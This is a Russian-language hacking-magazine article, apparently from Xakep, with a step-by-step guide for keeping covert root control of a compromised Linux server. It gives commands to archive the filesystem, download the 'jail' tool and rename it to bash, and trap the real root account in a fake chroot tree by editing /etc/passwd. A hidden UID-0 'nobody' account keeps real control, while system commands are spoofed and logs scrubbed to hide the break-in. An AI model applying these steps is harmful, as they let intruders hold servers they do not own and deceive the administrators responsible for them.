Доброго времени суток!

Статья предназначена для тех, кто уже получил права root на удаленной системе и раздумывает о том, как
оставить за собой право юзать все сласти без последующих ограничений.
Итак, ты уже получил рута? Выбираешь руткит? Вся трабла в том, что публичные руткиты довольно успешно ловятся
rootkit hunter`om и прочим софтом (иногда просто головой и руками),
поэтому долго рассчитывать на управление захваченным ресурсом не
приходится. Забей на руткиты, стань полноценным властелином и сделай админа
своей марионеткой. Задача наша состоит в том, чтобы заставить админа свято верить в то,
что он админ, взлома не было и не могло быть. Ну что поехали? 

Для работы нам понадобится JAIL: http://www.jmcresearch.com/src/projecthelper.php?action=download&id=1&url=/static/dwn/projects/jail/jail_1.9a.tar.gz
http://www.jmcresearch.com/static/dwn/projects/jail/jail_1.8.tar.gz

и творческий подход. 

Шаг 1 

Для начала нам необходимо создать полный backup системы:
смотрим инфу о разделах и выбираем самый жирный раздел, 
к примеру 

/usr/share 
df -h 

Тарим все! 

mkdir /usr/share/krblibs 
cd / 
tar -c /*>/usr/share/krblibs/fake_root.tar 

после создания архива приступаем к действу.

Шаг 2 

cd /tmp 
wget http://www.jmcresearch.com/src/projecthelper.php?action=download&id=1&url=/static/dwn/projects/jail/jail_1.9a.tar.gz 
wget http://www.jmcresearch.com/static/dwn/projects/jail/jail_1.8.tar.gz 

после разархивации и компиляции мы получаем замечательный инструмент — 

jail 
[root@skynet root]# whereis jail 
jail: /usr/local/bin/jail 

Теперь переименуем его в bash 

mv /usr/local/bin/jail /usr/local/bin/bash 

Создаем каталог для размещения фальшивого дерева каталогов 

mkdir /usr/share/krblibs/fake_root 

Создаем скелет для CHROOT 

/usr/local/bin/addjailsw.pl /usr/share/krblibs/fake_root 

После создания окружения ты должен увидеть примерно следующее: 

ls -l /usr/share/krblibs/fake_root 
drwxr-xr-x 2 root root 4096 Апр 30 09:07 bin 
drwxr-xr-x 2 root root 4096 Апр 30 09:07 etc 
drwxr-xr-x 3 root root 4096 Апр 30 09:07 lib 
drwxr-xr-x 2 root root 4096 Апр 30 09:07 proc 
drwxr-xr-x 2 root root 4096 Апр 30 09:07 root 
drwsrwxrwx 2 root root 4096 Апр 30 09:07 tmp 
drwxr-xr-x 5 root root 4096 Апр 30 09:07 usr 
drwxr-xr-x 3 root root 4096 Апр 30 09:07 var 

Теперь нам нужно поместить копию реального дерева в только что
созданный скелет:

cd /usr/share/krblibs/fake_root 
tar -xpvf /usr/share/krblibs/fake_root.tar 

Расслабляемся (пьем кофе или пиво, курим сигареты).
В реале мы должны получить точную копию файлового дерева до внесения изменений в системе в каталоге
/usr/share/krblibs/fake_root 

Шаг 3 

Теперь непосредственно начинаем подмену пользователей.
Сделаем nobody рутом? 

passwd nobody 

Приводим /etc/passwd к виду 

vi /etc/passwd 
root:x:0:0::/usr/share/krblibs/fake_root:/usr/local/bin/bash 
nobody:x:0:0:Nobody:/:/bin/bash 
:wq 

Как видно, юзер root всегда будет логонится через JAIL,
можно при желании загнать всех юзерей в сhroot enviroment.
Лишь один юзер nobody будет иметь права root в реальном дереве)))
Если не нравится nobody — заведи нового юзера. 

Шаг 4 

Релогонимся юзером nobody. Администрим систему:
теперь на необходимо расписать права админа и пользователей
так,  чтобы ни у кого в процессе повседневной работы не возникало
подозрений о существовании fake root: 

a. Теперь можешь заспуфить в fake root команды: df, ps, lsof, netstat,
etc… 
b. Создай линки файлов и каталогов из fake root в реальный root для того,
чтобы юзера продолжали успешно аплоадить странички, админ — добавлять юзерей и менять настройки в
рамках определенных тобой. 
d. Скидывай раз в 10 минут обновления из лог файлов в fake root,
предварительно выкинув из них все лишнее )) 
c. Позаботься о безопасности системы:
поставь к примеру под апач mod_security, генерящий ошибку 404 на
скрипткидди. 

Итог: все юзера, посаженные в правильно построенный CHROOT_ENV,
будут сидеть в фальшивом дереве /usr/share/krblibs/fake_root, видеть только то, что ты им покажешь. Весь реальный машинный ресурс
твой. 

Наслаждайся… 

P.S. Как показала практика, на осознание факта существования CHROOT_ENV у
среднестатистического админа уходит порядка 8-9 месяцев.

Оставить мнение

Check Also

Хакер ищет авторов. Читатель? Хакер? Программист? Безопасник? Мы тебе рады!

Восемнадцать лет мы делаем лучшее во всем русскоязычном пространстве издание по IT и инфор…